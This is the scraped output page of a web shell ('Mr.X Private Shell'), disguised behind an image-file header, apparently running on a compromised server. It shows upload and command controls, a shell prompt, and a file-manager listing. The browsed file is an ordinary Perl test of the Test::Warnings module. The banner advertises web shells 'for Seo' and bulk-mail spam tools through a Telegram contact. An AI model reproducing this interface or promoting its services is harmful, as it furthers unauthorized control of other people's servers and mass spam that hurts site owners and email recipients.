����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
use strict;
use warnings;

use Test::More 0.88;
use Test::Warnings ':all';

{
    my @lines;
    my @warnings = warnings {
        warn 'testing 1 2 3';   push @lines, __LINE__;
    };

    my $file = __FILE__;
    is_deeply(
        \@warnings,
        [
            "testing 1 2 3 at $file line $lines[0].\n",
        ],
        'warnings() successfully captured the warning',
    );

    my $warning = warning {
        warn 'testing 1 2 3';   push @lines, __LINE__;
    };
    is(
        $warning,
        "testing 1 2 3 at $file line $lines[1].\n",
        'warning() successfully the warning as a string',
    );
}

{
    my @lines;
    my @warnings = warnings {
        warn 'testing 1 2 3';   push @lines, __LINE__;
        warn 'another warning'; push @lines, __LINE__;
    };

    my $file = __FILE__;
    is_deeply(
        \@warnings,
        [
            "testing 1 2 3 at $file line $lines[0].\n",
            "another warning at $file line $lines[1].\n",
        ],
        'warnings() successfully captured all warnings',
    );

    my $warning = warning {
        warn 'testing 1 2 3';   push @lines, __LINE__;
        warn 'another warning'; push @lines, __LINE__;
    };
    is_deeply(
        $warning,
        [
            "testing 1 2 3 at $file line $lines[2].\n",
            "another warning at $file line $lines[3].\n",
        ],
        'warning() successfully captured all warnings as a scalar ref',
    );
}

{
    my @warnings = warnings {
        note 'no warning here';
        note 'nor here';
    };

    is_deeply(
        \@warnings,
        [ ],
        'warnings() successfully captured all warnings (none!)',
    );

    my $warning = warning {
        note 'no warning here';
        note 'nor here';
    };

    is_deeply(
        $warning,
        [ ],
        'warning() successfully captured all warnings (none!)',
    );

    is(@$warning, 0, 'warning() reports zero warnings caught');
}

done_testing;

Filemanager

Name Type Size Permission Actions
lib Folder 0770
00-report-prereqs.dd File 10.73 KB 0644
00-report-prereqs.t File 5.95 KB 0644
01-basic.t File 2.19 KB 0600
02-done_testing.t File 763 B 0644
03-subtest.t File 727 B 0644
04-no-tests.t File 493 B 0644
05-no-end-block.t File 503 B 0600
06-skip-all.t File 237 B 0644
07-no_plan.t File 792 B 0644
08-use-if.t File 359 B 0600
09-warnings-contents.t File 1.91 KB 0644
10-no-done_testing.t File 481 B 0600
11-double-use.t File 557 B 0600
12-no-newline.t File 747 B 0640
13-propagate-warnings.t File 909 B 0600
14-propagate-subname.t File 934 B 0600
15-propagate-default.t File 644 B 0600
16-propagate-ignore.t File 641 B 0600
17-propagate-subname-colons.t File 366 B 0600
18-propagate-subname-package.t File 443 B 0600
19-propagate-nonexistent-subname.t File 661 B 0600
20-propagate-stub.t File 287 B 0600
21-fail-on-warning.t File 1.2 KB 0640
22-warnings-bareword.t File 638 B 0600
23-report-warnings.t File 1.03 KB 0640
24-only-report-warnings.t File 805 B 0640
25-allowed_patterns.t File 556 B 0640
26-test2-compat.t File 308 B 0640
27-module-ordering.t File 150 B 0640
28-redefine-done_testing.t File 185 B 0640
zzz-check-breaks.t File 1.14 KB 0644